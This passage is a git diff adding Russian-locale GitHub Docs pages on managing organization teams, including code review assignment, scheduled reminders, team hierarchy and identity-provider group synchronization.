a/translations/ru-RU/content/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization.md new file mode 100644 index 000000000000..03c0fed5d186 --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization.md @@ -0,0 +1,25 @@ +--- +title: Disabling team discussions for your organization +intro: Organization owners can choose to disable or enable team discussions across the organization. +redirect_from: + - /articles/disabling-team-discussions-for-your-organization + - /github/setting-up-and-managing-organizations-and-teams/disabling-team-discussions-for-your-organization +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Disable team discussions +--- + +{% data reusables.organizations.team-discussions-default %} For more information on team discussions, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)." + +{% data reusables.profile.access_org %} +{% data reusables.profile.org_settings %} +{% data reusables.organizations.teams_sidebar %} +5. Under "Team discussions", unselect **Enable team discussions for this organization**. + ![Checkbox to enable or disable team discussions for an organization](/assets/images/help/settings/enable-team-discussions-for-org-checkbox.png) +6. Click **Save**. diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/index.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/index.md new file mode 100644 index 000000000000..f30b90030f96 --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/index.md @@ -0,0 +1,48 @@ +--- +title: Организация членов в команды +intro: 'Можно сгруппировать участников организации в команды, отражающие структуру компании или группы. Они имеют каскадные разрешения на доступ и упоминания.' +redirect_from: + - /articles/setting-up-teams-improved-organization-permissions + - /articles/setting-up-teams-for-accessing-organization-repositories + - /articles/creating-teams + - /articles/adding-people-to-teams-in-an-organization + - /articles/removing-a-member-from-a-team-in-your-organization + - /articles/setting-up-teams + - /articles/maintaining-teams-improved-organization-permissions + - /articles/maintaining-teams + - /articles/organizing-members-into-teams + - /github/setting-up-and-managing-organizations-and-teams/organizing-members-into-teams +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +children: + - /about-teams + - /creating-a-team + - /adding-organization-members-to-a-team + - /assigning-the-team-maintainer-role-to-a-team-member + - /setting-your-teams-profile-picture + - /managing-code-review-settings-for-your-team + - /renaming-a-team + - /changing-team-visibility + - /synchronizing-a-team-with-an-identity-provider-group + - /moving-a-team-in-your-organizations-hierarchy + - /requesting-to-add-a-child-team + - /requesting-to-add-or-change-a-parent-team + - /removing-organization-members-from-a-team + - /disabling-team-discussions-for-your-organization + - /managing-scheduled-reminders-for-your-team + - /deleting-a-team +shortTitle: Organize members into teams +ms.openlocfilehash: 98bd34c41d1a57341ccd3c02636ae93dce180991 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145125515' +--- + diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md new file mode 100644 index 000000000000..a577717cf01a --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md @@ -0,0 +1,103 @@ +--- +title: Managing code review settings for your team +intro: You can decrease noise for your team by limiting notifications when your team is requested to review a pull request. +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/managing-code-review-assignment-for-your-team + - /organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team +product: '{% data reusables.gated-features.code-review-assignment %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Code review settings +permissions: Team maintainers and organization owners can configure code review settings. +--- + +## About code review settings + +{% ifversion only-notify-requested-members %} +To reduce noise for your team and clarify individual responsibility for pull request reviews, you can configure code review settings. + +- Team notifications +- Auto assignment + +## About team notifications + +When you choose to only notify requested team members, you disable sending notifications to the entire team when the team is requested to review a pull request if a specific member of that team is also requested for review. This is especially useful when a repository is configured with teams as code owners, but contributors to the repository often know a specific individual that would be the correct reviewer for their pull request. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)." + +## About auto assignment +{% endif %} + +When you enable auto assignment, any time your team has been requested to review a pull request, the team is removed as a reviewer and a specified subset of team members are assigned in the team's place. Code review assignments allow you to decide whether the whole team or just a subset of team members are notified when a team is requested for review. + +When code owners are automatically requested for review, the team is still removed and replaced with individuals unless a branch protection rule is configured to require review from code owners. If such a branch protection rule is in place, the team request cannot be removed and so the individual request will appear in addition. + +### Routing algorithms + +Code review assignments automatically choose and assign reviewers based on one of two possible algorithms. + +The round robin algorithm chooses reviewers based on who's received the least recent review request, focusing on alternating between all members of the team regardless of the number of outstanding reviews they currently have. + +The load balance algorithm chooses reviewers based on each member's total number of recent review requests and considers the number of outstanding reviews for each member. The load balance algorithm tries to ensure that each team member reviews an equal number of pull requests in any 30 day period. + +Any team members that have set their status to "Busy" will not be selected for review. If all team members are busy, the pull request will remain assigned to the team itself. For more information about user statuses, see "[Setting a status](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status)." + +{% ifversion only-notify-requested-members %} +## Configuring team notifications + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.specific_team %} +{% data reusables.organizations.team_settings %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the left sidebar, click **{% octicon "code-review" aria-label="The code-review icon" %} Code review**. +{% else %} +1. In the left sidebar, click **Code review** +![Code review button](/assets/images/help/teams/review-button.png) +{% endif %} +1. Select **Only notify requested team members.** +![Code review team notifications](/assets/images/help/teams/review-assignment-notifications.png) +1. Click **Save changes**. +{% endif %} + +## Configuring auto assignment +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.specific_team %} +{% data reusables.organizations.team_settings %} +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the left sidebar, click **{% octicon "code-review" aria-label="The code-review icon" %} Code review**. +{% else %} +1. In the left sidebar, click **Code review** +![Code review button](/assets/images/help/teams/review-button.png) +{% endif %} +1. Select **Enable auto assignment**. +![Auto-assignment button](/assets/images/help/teams/review-assignment-enable.png) +1. Under "How many team members should be assigned to review?", use the drop-down menu and choose a number of reviewers to be assigned to each pull request. +![Number of reviewers dropdown](/assets/images/help/teams/review-assignment-number.png) +1. Under "Routing algorithm", use the drop-down menu and choose which algorithm you'd like to use. For more information, see "[Routing algorithms](#routing-algorithms)." +![Routing algorithm dropdown](/assets/images/help/teams/review-assignment-algorithm.png) +1. Optionally, to always skip certain members of the team, select **Never assign certain team members**. Then, select one or more team members you'd like to always skip. +![Never assign certain team members checkbox and dropdown](/assets/images/help/teams/review-assignment-skip-members.png) +{% ifversion ghes < 3.4 %} +1. Optionally, to only notify the team members chosen by code review assignment for each pull review request, under "Notifications" select **If assigning team members, don't notify the entire team.** +{%- endif %} +{% ifversion fpt or ghec or ghes or ghae > 3.3 %} +1. Optionally, to include members of child teams as potential reviewers when assigning requests, select **Child team members**. +1. Optionally, to count any members whose review has already been requested against the total number of members to assign, select **Count existing requests**. +1. Optionally, to remove the review request from the team when assigning team members, select **Team review request**. +{%- endif %} +1. Click **Save changes**. + +## Disabling auto assignment +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.specific_team %} +{% data reusables.organizations.team_settings %} +1. Select **Enable auto assignment** to remove the checkmark. +![Code review assignment button](/assets/images/help/teams/review-assignment-enable.png) +1. Click **Save changes**. diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team.md new file mode 100644 index 000000000000..376e4ef6e479 --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team.md @@ -0,0 +1,41 @@ +--- +title: Управление запланированными напоминаниями для команды +intro: 'Напоминания можно получать в Slack, если у вашей команды есть запросы на вытягивание, ожидающие проверки.' +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests + - /github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-your-team +versions: + fpt: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Scheduled reminders +ms.openlocfilehash: 3c86b54c527c89409326840e0089a9a05ab9c49a +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: '145125507' +--- +## Сведения о запланированных напоминаниях для команд + +{% data reusables.reminders.about-scheduled-reminders-teams-orgs %} + +Руководители команд и владельцы организаций могут планировать напоминания для любых запросов на вытягивание, которые должна проверить команда. Прежде чем создать запланированное напоминание для команды, владелец организации должен авторизовать рабочую область Slack. Дополнительные сведения см. в разделе [Управление запланированными напоминаниями для организации](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization). + +{% data reusables.reminders.scheduled-reminders-limitations %} + +## Создание запланированного напоминания для команды +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% data reusables.reminders.scheduled-reminders %} {% data reusables.reminders.add-reminder %} {% data reusables.reminders.authorize-slack %} {% data reusables.reminders.slack-channel %} {% data reusables.reminders.days-dropdown %} {% data reusables.reminders.times-dropdowns %} {% data reusables.reminders.tracked-repos %} {% data reusables.reminders.ignore-drafts %} {% data reusables.reminders.no-review-requests %} {% data reusables.reminders.author-reviews %} {% data reusables.reminders.approved-prs %} {% data reusables.reminders.min-age %} {% data reusables.reminders.min-staleness %} {% data reusables.reminders.ignored-terms %} {% data reusables.reminders.ignored-labels %} {% data reusables.reminders.required-labels %} {% data reusables.reminders.create-reminder %} + +## Управление запланированным напоминанием для команды +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% data reusables.reminders.scheduled-reminders %} {% data reusables.reminders.edit-existing %} {% data reusables.reminders.edit-page %} {% data reusables.reminders.update-buttons %} + +## Удаление запланированного напоминания для команды +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% data reusables.reminders.scheduled-reminders %} {% data reusables.reminders.delete %} + +## Дополнительные материалы + +- [Управление запланированными напоминаниями для организации](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization) +- [Управление запланированными напоминаниями](/github/setting-up-and-managing-your-github-user-account/managing-your-scheduled-reminders) diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md new file mode 100644 index 000000000000..2bb4b79e51ce --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md @@ -0,0 +1,49 @@ +--- +title: Перемещение команды по иерархии организации +intro: 'Участники команды и владельцы организации могут вложить команду в родительскую команду, изменить или удалить родительскую команду для вложенной команды.' +redirect_from: + - /articles/changing-a-team-s-parent + - /articles/moving-a-team-in-your-organization-s-hierarchy + - /articles/moving-a-team-in-your-organizations-hierarchy + - /github/setting-up-and-managing-organizations-and-teams/moving-a-team-in-your-organizations-hierarchy +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Move a team +ms.openlocfilehash: 205ab40d04d613c54b498b9712e5f199e1433558 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145125504' +--- +Владельцы организации могут изменить родитель любой команды. Ответственные за команду могут изменить родитель команды, если они обслуживают как дочернюю команду, так и родительскую команду. Ответственные за команду без разрешений на обслуживание в дочерней команде могут запросить добавление родительской или дочерней команды. Дополнительные сведения см. в разделах [Запрос на добавление или изменение родительской команды](/articles/requesting-to-add-or-change-a-parent-team) и [Запрос на добавление дочерней команды](/articles/requesting-to-add-a-child-team). + +{% data reusables.organizations.child-team-inherits-permissions %} + +{% tip %} + +**Советы** +- Изменить родитель команды на секретную команду невозможно. Дополнительные сведения см. в статье "[Сведения о командах](/articles/about-teams)". +- Вложить родительскую команду в одну из ее дочерних команд не удастся. + +{% endtip %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.teams %} +4. В списке команд щелкните имя команды, родитель которой вы хотите изменить. + ![Список команд организации](/assets/images/help/teams/click-team-name.png) {% data reusables.organizations.team_settings %} +6. Используйте раскрывающееся меню, чтобы выбрать родительскую команду или удалить существующий родитель, выберите **Очистить выбранное значение**. + ![Раскрывающееся меню со списком существующих команды в организации](/assets/images/help/teams/choose-parent-team.png) +7. Нажмите кнопку **Обновить**. +{% data reusables.repositories.changed-repository-access-permissions %} +9. Нажмите кнопку **Подтвердить новую родительскую команду**. + ![Модальное поле с информацией об изменениях разрешений на доступ к репозиторию](/assets/images/help/teams/confirm-new-parent-team.png) + +## Дополнительные материалы + +- [Сведения о командах](/articles/about-teams) diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md new file mode 100644 index 000000000000..d512944dd841 --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md @@ -0,0 +1,30 @@ +--- +title: Удаление членов организации из команды +intro: 'Пользователи с разрешениями *владельца* или *ответственного за команду* могут удалять участников команды. Это может потребоваться, если пользователю больше не требуется доступ к репозиторию, который предоставляется командой, или если он больше не занимается командными проектами.' +redirect_from: + - /articles/removing-organization-members-from-a-team-early-access-program + - /articles/removing-organization-members-from-a-team + - /github/setting-up-and-managing-organizations-and-teams/removing-organization-members-from-a-team +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Remove members +ms.openlocfilehash: 66a52a6b175cd4b894269b318c56485a11eee9e1 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145125467' +--- +{% data reusables.repositories.deleted_forks_from_private_repositories_warning %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} +4. Выберите одного или нескольких пользователей, которых нужно удалить. + ![Флажок рядом с членом организации](/assets/images/help/teams/team-member-check-box.png) +5. Над списком членов группы используйте раскрывающееся меню и нажмите щелкните **Удалить из команды**. + ![Раскрывающееся меню с параметром для изменения роли](/assets/images/help/teams/bulk-edit-drop-down.png) diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/renaming-a-team.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/renaming-a-team.md new file mode 100644 index 000000000000..9f78f66b3389 --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/renaming-a-team.md @@ -0,0 +1,25 @@ +--- +title: Переименование команды +intro: Ответственные за команду и владельцы организации могут изменять имя и описание команды. +redirect_from: + - /articles/renaming-a-team + - /github/setting-up-and-managing-organizations-and-teams/renaming-a-team +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +ms.openlocfilehash: 3621fd76c40dd8d2a22aedcf8c1a2fc7a02bc447 +ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147878965' +--- +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} +5. Введите новое имя или описание команды. + ![Поля для имени и описания команды](/assets/images/help/teams/team-name-description.png) +6. Нажмите кнопку **Обновить**. diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/requesting-to-add-a-child-team.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/requesting-to-add-a-child-team.md new file mode 100644 index 000000000000..af85e7706ced --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/requesting-to-add-a-child-team.md @@ -0,0 +1,43 @@ +--- +title: Requesting to add a child team +intro: 'If you have maintainer permissions in a team, you can request to nest an existing team under your team in your organization’s hierarchy.' +redirect_from: + - /articles/requesting-to-add-a-child-team + - /github/setting-up-and-managing-organizations-and-teams/requesting-to-add-a-child-team +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Add a child team +--- + +When you request to add a team as a child, a request is sent to the maintainers of the child team. Once a maintainer of the child team approves your request, the child team is nested under the parent team in your organization's hierarchy. + +If you're an organization owner or you have team maintainer permissions in both the child team and the parent team, you can add the child team without requesting approval or change the child team's parent from the child team's settings page. For more information, see "[Moving a team in your organization's hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy)." + +{% data reusables.organizations.child-team-inherits-permissions %} + +{% data reusables.profile.access_org %} +{% data reusables.user-settings.access_org %} +{% data reusables.organizations.teams %} +4. In the list of teams, click the name of the team where you'd like to add the child team. + ![List of the organization's teams](/assets/images/help/teams/click-team-name.png) +5. At the top of the team page, click {% octicon "people" aria-label="The people icon" %} **Teams**. + ![Teams tab on a team page](/assets/images/help/teams/team-teams-tab.png) +6. Click **Add a team**. + ![Add a team button on a team page](/assets/images/help/teams/add-a-team.png) +7. Type the name of the team you'd like to add as a child team, and select it from the drop-down list. + ![Text box to type and drop-down menu to select the name of the child team](/assets/images/help/teams/type-child-team-name.png) +{% data reusables.repositories.changed-repository-access-permissions %} +9. Click **Confirm changes** to send a request to add the child team. + ![Modal box with information about the changes in repository access permissions](/assets/images/help/teams/confirm-new-parent-team.png) + +## Further reading + +- "[About teams](/articles/about-teams)" +- "[Moving a team in your organization’s hierarchy](/articles/moving-a-team-in-your-organization-s-hierarchy)" +- "[Requesting to add or change a parent team](/articles/requesting-to-add-or-change-a-parent-team)" diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/requesting-to-add-or-change-a-parent-team.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/requesting-to-add-or-change-a-parent-team.md new file mode 100644 index 000000000000..6d170475cc7b --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/requesting-to-add-or-change-a-parent-team.md @@ -0,0 +1,43 @@ +--- +title: Запрос на добавление или изменение родительской команды +intro: 'Если у вас есть разрешения ответственного за команду для данной команды, вы можете запросить вложение команды в родительскую команду в иерархии организации.' +redirect_from: + - /articles/requesting-to-add-or-change-a-parent-team + - /github/setting-up-and-managing-organizations-and-teams/requesting-to-add-or-change-a-parent-team +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Add or change parent team +ms.openlocfilehash: d277f8177e6a09e308792b1f7c01832851aec878 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '147880471' +--- +При запросе на добавление или изменение команды в качестве родительской команды запрос отправляется в службу поддержки родительских команд. Когда специалист по поддержке родительских команд утвердит ваш запрос, ваша команда будет вложена в родительскую команду в качестве дочерней в иерархии вашей организации. + +Если вы являетесь владельцем организации или у вас есть разрешения на поддержку команд и в дочерней, и в родительской команде, вы можете добавить родительскую команду без запроса утверждения или изменить родительскую команду своей команды на странице параметров своей команды. Дополнительные сведения см. в разделе [Перемещение команды в иерархии организации](/articles/moving-a-team-in-your-organization-s-hierarchy). + +{% data reusables.organizations.child-team-inherits-permissions %} + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.teams %} +4. В списке команд щелкните имя команды, которую следует вложить в родительскую команду. + ![Список команд организации](/assets/images/help/teams/click-team-name.png) {% data reusables.organizations.team_settings %} +6. В разделе "Родительская команда" в раскрывающемся меню "Выберите родительскую команду" выберите имя новой родительской команды. + ![Раскрывающееся меню со списком существующих команды в организации](/assets/images/help/teams/choose-parent-team.png) +7. Нажмите кнопку **Сохранить изменения**. +{% data reusables.repositories.changed-repository-access-permissions %} +9. Нажмите кнопку **Подтвердить изменения**, чтобы отправить запрос на добавление или изменение родительской команды для вашей команды. + ![Модальное поле с информацией об изменениях разрешений на доступ к репозиторию](/assets/images/help/teams/confirm-new-parent-team.png) + +## Дополнительные материалы + +- [Сведения о командах](/articles/about-teams) +- [Перемещение команды по иерархии организации](/articles/moving-a-team-in-your-organization-s-hierarchy) +- [Запрос на добавление дочерней команды](/articles/requesting-to-add-a-child-team) diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/setting-your-teams-profile-picture.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/setting-your-teams-profile-picture.md new file mode 100644 index 000000000000..5520c51a4618 --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/setting-your-teams-profile-picture.md @@ -0,0 +1,30 @@ +--- +title: Настройка изображения профиля вашей команды +intro: 'Ответственные за команду и владельцы организации могут задать изображение профиля для команды, которое будет отображаться на странице команды.' +redirect_from: + - /articles/setting-your-team-s-profile-picture + - /articles/setting-your-teams-profile-picture + - /github/setting-up-and-managing-organizations-and-teams/setting-your-teams-profile-picture +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Organizations + - Teams +shortTitle: Team profile picture +ms.openlocfilehash: 2c7fd223aa2417f4f811b4a58e5e90a7b8cba51b +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145140649' +--- +Если для команды не задано изображение профиля, используется изображение профиля организации. + +{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} +5. Щелкните **Отправить новое изображение** и выберите нужное изображение профиля. +![Отправить новое изображение](/assets/images/help/teams/org-team-profile-picture-upload.png) +6. Щелкните и перетащите изображение, чтобы обрезать его требуемым образом, а затем нажмите кнопку **Задать новый аватар команды**. +![Задание нового аватара команды](/assets/images/help/teams/org-team-set-new-team-avatar.png) diff --git a/translations/ru-RU/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md b/translations/ru-RU/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md new file mode 100644 index 000000000000..f8c2066b9fed --- /dev/null +++ b/translations/ru-RU/content/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group.md @@ -0,0 +1,100 @@ +--- +title: Синхронизация команды с группой поставщика удостоверений +intro: 'Можно синхронизировать команду {% data variables.product.product_name %} с поддерживаемой группой поставщика удостоверений (IdP), чтобы автоматически добавлять и удалять членов команды.' +redirect_from: + - /github/setting-up-and-managing-organizations-and-teams/synchronizing-a-team-with-an-identity-provider-group +permissions: 'Organization owners and team maintainers can synchronize a {% data variables.product.prodname_dotcom %} team with an IdP group.' +versions: + ghae: '*' + ghec: '*' + feature: scim-for-ghes +topics: + - Organizations + - Teams +shortTitle: Synchronize with an IdP +ms.openlocfilehash: c4ea8dc13eee674b962108ba52c71e67e8462b87 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106984' +--- +{% data reusables.enterprise-accounts.emu-scim-note %} + +## Синхронизация команд + +{% data reusables.identity-and-permissions.about-team-sync %} + +{% ifversion ghec %}Вы можете подключить до пяти групп поставщика удостоверений к команде {% data variables.product.product_name %}. {% elsif ghae %}Вы можете подключить команду в {% data variables.product.product_name %} к одной группе поставщика удостоверений. Все пользователи в группе автоматически добавляются в команду, а также добавляются в родительскую организацию в качестве участников. При отключении группы от команды пользователи, которые стали членами организации посредством членства в команде, удаляются из организации.{% endif %} Группу поставщика удостоверений можно назначить нескольким командам {% data variables.product.product_name %}. + +{% ifversion ghec %}При синхронизации команды группы поставщика удостоверений с более чем 5000 участниками не поддерживаются.{% endif %} + +После подключения команды {% data variables.product.prodname_dotcom %} к группе поставщика удостоверений администратор поставщика удостоверений должен внести изменения в членство в команде посредством поставщика удостоверений. Вы не можете управлять членством в группах в {% data variables.product.product_name %}{% ifversion ghec %} или с помощью API{% endif %}. + +{% ifversion ghec %}{% data reusables.enterprise-accounts.team-sync-override %}{% endif %} + +{% ifversion ghec %} Все изменения членства в команде, внесенные с помощью поставщика удостоверений, будут отображаться в журнале аудита в {% data variables.product.product_name %} как изменения, внесенные ботом синхронизации команды. Ваш поставщик удостоверений отправляет данные о членстве в команде в {% data variables.product.prodname_dotcom %} один раз в час. +Подключение команды к группе поставщика удостоверений может привести к удалению некоторых участников команды. Дополнительные сведения см. в разделе [Требования для участников синхронизированных команд](#requirements-for-members-of-synchronized-teams). +{% endif %} + +{% ifversion ghae %} При изменении членства в группе поставщика удостоверений ваш поставщик удостоверений отправляет в {% data variables.product.product_name %} запрос SCIM с изменениями в соответствии с расписанием, определенным вашим поставщиком удостоверений. Все запросы, которые изменяют членство в команде {% data variables.product.prodname_dotcom %} или членство в организации, регистрируются в журнале аудита в качестве изменений, внесенных учетной записью, используемой для настройки подготовки пользователей. Дополнительные сведения об этой учетной записи см. в разделе [Настройка подготовки пользователей в организации](/admin/authentication/configuring-user-provisioning-for-your-enterprise). Дополнительные сведения о расписаниях запросов SCIM см. в разделе [Проверка состояния подготовки пользователей](https://docs.microsoft.com/en-us/azure/active-directory/app-provisioning/application-provisioning-when-will-provisioning-finish-specific-user) в Документации Майкрософт. {% endif %} + +Родительские команды невозможно синхронизировать с группами поставщика удостоверений. Если команда, которую вы хотите подключить к группе поставщика удостоверений, является родительской командой, рекомендуется создать новую команду или удалить вложенные связи, которые делают вашу команду родительской. Дополнительные сведения см. в разделах [Сведения о командах](/articles/about-teams#nested-teams), [Создание команды](/organizations/organizing-members-into-teams/creating-a-team) и [Перемещение команды в иерархии организации](/articles/moving-a-team-in-your-organizations-hierarchy). + +Для управления доступом к репозиторию для любой команды {% data variables.product.prodname_dotcom %}, включая команды, подключенные к группе поставщика удостоверений, необходимо внести изменения в {% data variables.product.product_name %}. Дополнительные сведения см. в разделах [Сведения о командах](/articles/about-teams) и [Управление доступом команды к репозиторию организации](/articles/managing-team-access-to-an-organization-repository). + +{% ifversion ghec %}Для управления синхронизацией команд можно также использовать API. Дополнительные сведения см. в разделе [Синхронизация команд](/rest/reference/teams#team-sync). {% endif %} + +{% ifversion ghec %} +## Требования для участников синхронизированных команд + +После подключения команды к группе поставщика удостоверений при синхронизации команд каждый участник группы поставщика удостоверений будет добавлен в соответствующую команду в {% data variables.product.product_name %} только в случае, если соблюдены следующие условия: +- Пользователь является членом организации в {% data variables.product.product_name %}. +- Пользователь уже выполнил вход со своей личной учетной записью {% data variables.product.product_name %} и прошел проверку подлинности в учетной записи организации или корпоративной посредством единого входа SAML по крайней мере один раз. +- Удостоверение единого входа пользователя является членом группы поставщика удостоверений. + +Существующие команды или участники группы, которые не соответствуют этим критериям, будут автоматически удалены из команды {% data variables.product.product_name %} и теряют доступ к репозиториям. Отзыв связанного удостоверения пользователя также приведет к удалению пользователя из всех команд, сопоставленных с группами поставщика удостоверений. Дополнительные сведения см. в разделах [Просмотр доступа SAML участника к вашей организации и управление им](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity) и [Просмотр доступа SAML пользователя к вашему предприятию и управление им](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise#viewing-and-revoking-a-linked-identity). + +Удаленного участника команды можно добавить обратно в команду автоматически после проверки подлинности в учетной записи организации или предприятия с помощью единого входа и перемещения в подключенную группу поставщика удостоверений. + +Чтобы избежать непреднамеренного удаления участников команды, рекомендуется принудительно применить единый вход SAML в учетной записи вашей организации или предприятия, создать новые команды для синхронизации данных о членстве и проверять членство в группах поставщика удостоверений перед синхронизацией существующих команд. Дополнительные сведения см. в разделах [Применение единого входа SAML для организации](/articles/enforcing-saml-single-sign-on-for-your-organization) и [Настройка единого входа SAML для вашего предприятия](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise). + +{% endif %} + +## Предварительные требования + +{% ifversion ghec %} Прежде чем подключить команду {% data variables.product.product_name %} к группе поставщика удостоверений, владелец организации или предприятия должен включить синхронизацию команд для учетной записи вашей организации или предприятия. Дополнительные сведения см. в разделах [Управление синхронизацией команд в организации](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization) и [Управление синхронизацией команд для организаций в корпоративной учетной записи](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise). + +Чтобы избежать непреднамеренного удаления участников команды, перейдите на портал администрирования поставщика удостоверений и убедитесь, что каждый текущий участник команды также входит в группы поставщика удостоверений, к которым вы хотите подключить эту команду. Если у вас нет такого доступа к поставщику удостоверений, можете обратиться к администратору поставщика удостоверений. + +Необходимо пройти проверку подлинности с 